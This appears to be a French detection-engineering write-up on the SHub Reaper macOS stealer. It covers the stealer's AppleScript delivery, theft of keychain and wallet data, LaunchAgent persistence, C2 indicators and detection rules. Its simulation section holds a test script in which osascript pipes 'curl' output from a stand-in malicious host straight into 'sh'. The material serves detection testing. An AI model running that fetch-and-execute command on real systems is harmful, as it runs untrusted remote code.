SHub Reaper | Le voleur macOS imite Apple, Google et Microsoft dans une chaîne d’attaque unique
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Le rapport analyse une nouvelle variante de logiciel voleur d’informations pour macOS appelée SHub Reaper, qui utilise de faux installateurs WeChat et Miro pour livrer une charge utile AppleScript malveillante via un domaine Microsoft thématique mal orthographié. Une fois lancée dans Script Editor, la charge utile collecte les données du navigateur, les fichiers de portefeuille de cryptomonnaie et les informations du trousseau, puis exfiltre le contenu volé sous forme d’archives ZIP fractionnées. Le malware altère également les fichiers de portefeuille et établit une persistance via un LaunchAgent déguisé en mise à jour logicielle Google. La détection recommandée se concentre sur l’exécution d’AppleScript, la création suspecte de LaunchAgent et le trafic sortant vers l’infrastructure connue de commande et de contrôle.
Enquête
SentinelOne a suivi l’intégralité de la chaîne de livraison en plusieurs étapes, y compris l’utilisation abusive du schéma applescript:// , la génération dynamique de la charge utile AppleScript et un module de capture de fichiers qui reproduit le comportement de vol de documents vu dans AMOS. Les chercheurs ont capturé le trafic réseau vers le domaine de commande et de contrôle hebsbsbzjsjshduxbs.xyz et les points de terminaison associés, ainsi que la création de fichiers temporaires sous /tmp et un LaunchAgent placé dans le répertoire Bibliothèque de l’utilisateur. L’enquête a également révélé une fonctionnalité de bot Telegram codée en dur utilisée pour la télémétrie de l’opérateur.
Atténuation
Les défenseurs devraient bloquer l’accès aux domaines mal orthographiés mlcrosoft.co.com, qq-0732gwh22.com, et mlroweb.com, et surveiller les LaunchAgents créés sous des chemins imitant les composants de mise à jour Google. La liste d’autorisation des applications doit être utilisée pour restreindre l’exécution d’AppleScript à partir de sources non fiables, et une vérification stricte de la signature du code doit être appliquée. Les détections réseau devraient également alerter sur la communication avec le domaine de commande et de contrôle identifié et ses chemins d’API connus.
Réponse
Si une activité SHub Reaper est détectée, isolez immédiatement le point de terminaison affecté, terminez tout processus AppleScript ou LaunchAgent suspect et supprimez les fichiers malveillants de /tmp et de la Bibliothèque de l’utilisateur. Les enquêteurs doivent ensuite procéder à une collecte médico-légale complète des magasins de données du navigateur, des répertoires de portefeuille et des répertoires de crédentials, suivie de réinitialisations de crédentials là où une compromission est suspectée. L’infrastructure de commande et de contrôle identifiée doit être bloquée, et l’équipe de réponse aux incidents doit commencer une chasse aux menaces plus large à travers l’environnement.
graph TB %% Définitions des classes classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef operator fill:#ff9900 %% Nœuds – Étapes de l’attaque step_initial_access[« <b>Technique</b> – <b>T1659 Injection de Contenu</b> : Des sites web leurres compromis (faux WeChat ou Miro) hébergent des URL applescript:// malveillantes qui livrent la charge utile »] class step_initial_access action step_execution[« <b>Technique</b> – <b>T1027 Fichiers ou Informations Obfusqués</b> : AppleScript ouvert dans Script Editor exécute un appel curl caché encodé en base64 qui décode et exécute le stager »] class step_execution action step_code_retrieval[« <b>Technique</b> – <b>T1505 Composant Logiciel Serveur</b> : AppleScript télécharge le principal AppleScript malveillant depuis un serveur distant »] class step_code_retrieval action step_credential_capture[« <b>Technique</b> – <b>T1056 Capture de Saisie</b> : AppleScript demande un mot de passe à l’utilisateur et collecte les données du Keychain »] class step_credential_capture action step_data_collection[« <b>Technique</b> – <b>T1074.001 Préparation Locale des Données</b> : Filegrabber analyse Desktop et Documents à la recherche des extensions ciblées et les prépare dans /tmp/shub_<rand> »] class step_data_collection action step_archive[« <b>Technique</b> – <b>T1560.001 Archivage via Utilitaire</b> : Les fichiers collectés sont compressés et divisés en blocs de 70 MB »] class step_archive action step_exfiltration[« <b>Technique</b> – <b>T1011 Exfiltration via un Autre Support Réseau</b> : Les blocs sont envoyés via HTTPS vers le serveur de commande et contrôle »] class step_exfiltration action step_wallet_hijack[« <b>Techniques</b> – <b>T1553.002 Signature de Code</b> et <b>T1036.001 Mascarade</b> : Des fichiers app.asar malveillants remplacent les binaires légitimes des portefeuilles, en utilisant des signatures ad-hoc ou invalides pour contourner Gatekeeper »] class step_wallet_hijack action step_persistence[« <b>Techniques</b> – <b>T1037.002 Login Hook</b>, <b>T1176 Extensions Logicielles</b> et <b>T1574.007 Interception de Chemin</b> : Faux répertoire Google Software Update avec un plist LaunchAgent (com.google.keystone.agent.plist) placé dans le PATH afin d’obtenir une exécution persistante »] class step_persistence action step_backdoor[« <b>Technique</b> – <b>T1219 Outils d’Accès à Distance</b> : LaunchAgent exécute le script GoogleUpdate toutes les 60 s, envoie des beacons vers /api/bot/heartbeat et peut exécuter des commandes supplémentaires »] class step_backdoor malware %% Nœuds – Outils / Composants tool_applescript[« <b>Outil</b> – <b>Nom</b> : AppleScript<br/><b>Description</b> : Script exécuté via Script Editor pour décoder et lancer la charge utile »] class tool_applescript tool tool_curl[« <b>Outil</b> – <b>Nom</b> : curl<br/><b>Description</b> : Utilisé pour télécharger des AppleScript supplémentaires et des fichiers de données via HTTPS »] class tool_curl tool tool_launchagent[« <b>Outil</b> – <b>Nom</b> : LaunchAgent<br/><b>Description</b> : Mécanisme de persistance au niveau utilisateur de macOS défini par un fichier plist »] class tool_launchagent tool malware_stager[« <b>Malware</b> – <b>Nom</b> : Stager<br/><b>Description</b> : Petit chargeur qui récupère la charge utile principale AppleScript »] class malware_stager malware %% Arêtes – Flux step_initial_access –>|mène à| step_execution step_execution –>|utilise| tool_applescript step_execution –>|exécute| malware_stager malware_stager –>|télécharge via| tool_curl malware_stager –>|déclenche| step_code_retrieval step_code_retrieval –>|utilise| tool_curl step_code_retrieval –>|active| step_credential_capture step_credential_capture –>|capture| step_data_collection step_data_collection –>|prépare les fichiers pour| step_archive step_archive –>|crée des blocs pour| step_exfiltration step_exfiltration –>|livre à| step_wallet_hijack step_wallet_hijack –>|modifie| step_persistence step_persistence –>|installe| tool_launchagent tool_launchagent –>|fournit| step_backdoor step_backdoor –>|agit comme| malware_stager %% Attributions des classes class step_initial_access,step_execution,step_code_retrieval,step_credential_capture,step_data_collection,step_archive,step_exfiltration,step_wallet_hijack,step_persistence,step_backdoor action class tool_applescript,tool_curl,tool_launchagent tool class malware_stager,step_backdoor malware
Flux d’attaque
Détections
Communications de domaine IP peut-être consultation tentées (via dns)
Voir
Signature forcée de code de paquets d’applications modifiés (via cmdline)
Voir
Utilitaire d’archive MacOS pointant vers un répertoire suspect (via cmdline)
Voir
Tentative d’exécution suspecte de Curl [MacOS] (via cmdline)
Voir
Archive créée dans le répertoire temporaire de MacOS (via file_event)
Voir
Manipulation possible de chaînes encodées en Base64 (via cmdline)
Voir
IOC (HashSha256) pour détecter : SHub Reaper | macOS Stealer Usurpe Apple, Google et Microsoft dans une chaîne d’attaque unique
Voir
IOC (HashMd5) pour détecter : SHub Reaper | macOS Stealer Usurpe Apple, Google et Microsoft dans une chaîne d’attaque unique
Voir
Détection de la chaîne d’infection SHub Reaper utilisant des domaines mal orthographiés et C2 [Serveur Web]
Voir
Détecter l’exécution du malware SHub Reaper via AppleScript et Curl [Création de processus Linux]
Voir
Exécution de la simulation
Prérequis : Le test prévol de la télémétrie et de la base doit avoir passé.
Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et la narration DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront un diagnostic erroné.
-
Narration de l’attaque & Commandes :
L’attaquant crée un court one-liner qui utiliseosascriptpour exécuter une commande shell. Dans l’AppleScript,do shell scriptexécutecurlpour télécharger un script shell distant (payload.sh) et le passe directement dansshpour exécution. Comme toute la chaîne est intégrée dans une seule invocation AppleScript, macOS enregistre un seulprocess_creationévénement dont la ligne de commande contient à la foisosascriptandcurl, satisfaisant ainsi la règle de détection. -
Script de test de régression :
#!/bin/bash # # Simule l'exécution de SHub Reaper sur macOS # Génère un seul événement process_creation contenant à la fois 'osascript' et 'curl' # MALICIOUS_URL="https://malicious.example.com/payload.sh" # One‑liner : osascript exécute une commande shell qui télécharge avec curl le payload et l'exécute osascript -e "do shell script "curl -s ${MALICIOUS_URL} | sh"" -
Commandes de nettoyage :
#!/bin/bash # # Nettoie tous les artefacts créés par la simulation. # Le payload s'exécute en mémoire et n'écrit pas de fichiers, mais nous nous assurons qu'il n'y a pas de processus persistants. # # Tuer tous les processus 'sh' errants démarrés par le test (à utiliser avec prudence sur les systèmes de production) pkill -f "sh -c curl -s https://malicious.example.com/payload.sh"